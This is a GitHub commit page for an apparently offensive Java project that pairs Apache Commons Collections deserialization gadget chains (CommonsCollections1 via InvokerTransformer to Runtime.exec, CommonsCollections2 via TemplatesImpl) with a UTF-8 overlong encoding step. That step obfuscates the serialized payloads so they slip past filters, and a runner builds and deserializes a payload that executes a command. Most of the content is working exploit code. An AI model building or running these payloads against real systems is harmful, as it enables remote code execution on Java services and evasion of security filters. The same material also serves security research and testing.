Skip to content

Commit 0187cef

Browse files
committed
Initial commit
0 parents  commit 0187cef

12 files changed

+925
-0
lines changed

README.md

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
# utf-8-overlong-encoding
2+
3+
By. Whoopsunix
4+
5+
抽离出 utf-8-overlong-encoding 的序列化逻辑,直接加密序列化数组

pom.xml

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
5+
<groupId>com.ppp</groupId>
6+
<artifactId>utf-8-overlong-encoding</artifactId>
7+
<version>1.0</version>
8+
<packaging>jar</packaging>
9+
10+
<name>utf-8-overlong-encoding</name>
11+
12+
<properties>
13+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
14+
</properties>
15+
16+
<dependencies>
17+
<dependency>
18+
<groupId>javassist</groupId>
19+
<artifactId>javassist</artifactId>
20+
<version>3.12.0.GA</version>
21+
</dependency>
22+
<dependency>
23+
<groupId>commons-collections</groupId>
24+
<artifactId>commons-collections</artifactId>
25+
<version>3.1</version>
26+
</dependency>
27+
<dependency>
28+
<groupId>org.beanshell</groupId>
29+
<artifactId>bsh</artifactId>
30+
<version>2.0b5</version>
31+
</dependency>
32+
<dependency>
33+
<groupId>commons-beanutils</groupId>
34+
<artifactId>commons-beanutils</artifactId>
35+
<version>1.9.2</version>
36+
</dependency>
37+
<dependency>
38+
<groupId>org.apache.commons</groupId>
39+
<artifactId>commons-collections4</artifactId>
40+
<version>4.0</version>
41+
</dependency>
42+
</dependencies>
43+
</project>
Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
package com.ppp;
2+
3+
import com.ppp.utils.Gadgets;
4+
import com.ppp.utils.Reflections;
5+
import org.apache.commons.collections.Transformer;
6+
import org.apache.commons.collections.functors.ChainedTransformer;
7+
import org.apache.commons.collections.functors.ConstantTransformer;
8+
import org.apache.commons.collections.functors.InvokerTransformer;
9+
import org.apache.commons.collections.map.LazyMap;
10+
11+
import java.lang.reflect.InvocationHandler;
12+
import java.util.HashMap;
13+
import java.util.Map;
14+
15+
public class CommonsCollections1 {
16+
public InvocationHandler getObject(final String command) throws Exception {
17+
final String[] execArgs = new String[] { command };
18+
// inert chain for setup
19+
final Transformer transformerChain = new ChainedTransformer(
20+
new Transformer[]{ new ConstantTransformer(1) });
21+
// real chain for after setup
22+
final Transformer[] transformers = new Transformer[] {
23+
new ConstantTransformer(Runtime.class),
24+
new InvokerTransformer("getMethod", new Class[] {
25+
String.class, Class[].class }, new Object[] {
26+
"getRuntime", new Class[0] }),
27+
new InvokerTransformer("invoke", new Class[] {
28+
Object.class, Object[].class }, new Object[] {
29+
null, new Object[0] }),
30+
new InvokerTransformer("exec",
31+
new Class[] { String.class }, execArgs),
32+
new ConstantTransformer(1) };
33+
34+
final Map innerMap = new HashMap();
35+
36+
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
37+
38+
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
39+
40+
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
41+
42+
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
43+
44+
return handler;
45+
}
46+
}
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
package com.ppp;
2+
3+
import com.ppp.utils.Gadgets;
4+
import com.ppp.utils.Reflections;
5+
import org.apache.commons.collections4.comparators.TransformingComparator;
6+
import org.apache.commons.collections4.functors.InvokerTransformer;
7+
8+
import java.util.PriorityQueue;
9+
import java.util.Queue;
10+
11+
12+
public class CommonsCollections2 {
13+
14+
public Queue<Object> getObject(final String command) throws Exception {
15+
final Object templates = Gadgets.createTemplatesImpl(command);
16+
// mock method name until armed
17+
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
18+
19+
// create queue with numbers and basic comparator
20+
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
21+
// stub data for replacement later
22+
queue.add(1);
23+
queue.add(1);
24+
25+
// switch method called by comparator
26+
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
27+
28+
// switch contents of queue
29+
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
30+
queueArray[0] = templates;
31+
queueArray[1] = 1;
32+
33+
return queue;
34+
}
35+
}

src/main/java/com/ppp/Run.java

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
package com.ppp;
2+
3+
import com.ppp.utils.Deserializer;
4+
import com.ppp.utils.Serializer;
5+
6+
import java.io.ByteArrayOutputStream;
7+
8+
/**
9+
* @author Whoopsunix
10+
*/
11+
public class Run {
12+
public static void main(String[] args) throws Exception {
13+
/**
14+
* 原始
15+
*/
16+
Object gadget = new CommonsCollections1().getObject("open -a Calculator.app");
17+
byte[] originalBytes = Serializer.serialize(gadget);
18+
System.out.println("---original---");
19+
print(originalBytes);
20+
21+
/**
22+
* 1ue demo
23+
*/
24+
byte[] UEBytes = Serializer.serializeCustom(gadget);
25+
System.out.println("\n\n\n---1ue---");
26+
print(UEBytes);
27+
28+
29+
30+
System.out.println("\n\n\n---mix---");
31+
byte[] mixBytes = new UTF8BytesMix(Serializer.serialize(gadget)).builder();
32+
print(mixBytes);
33+
Deserializer.deserialize(mixBytes);
34+
}
35+
36+
37+
public static void print(byte[] bytes ){
38+
ByteArrayOutputStream out = new ByteArrayOutputStream();
39+
for (byte b : bytes) {
40+
out.write(b);
41+
}
42+
System.out.println(out);
43+
}
44+
}

0 commit comments

Comments
 (0)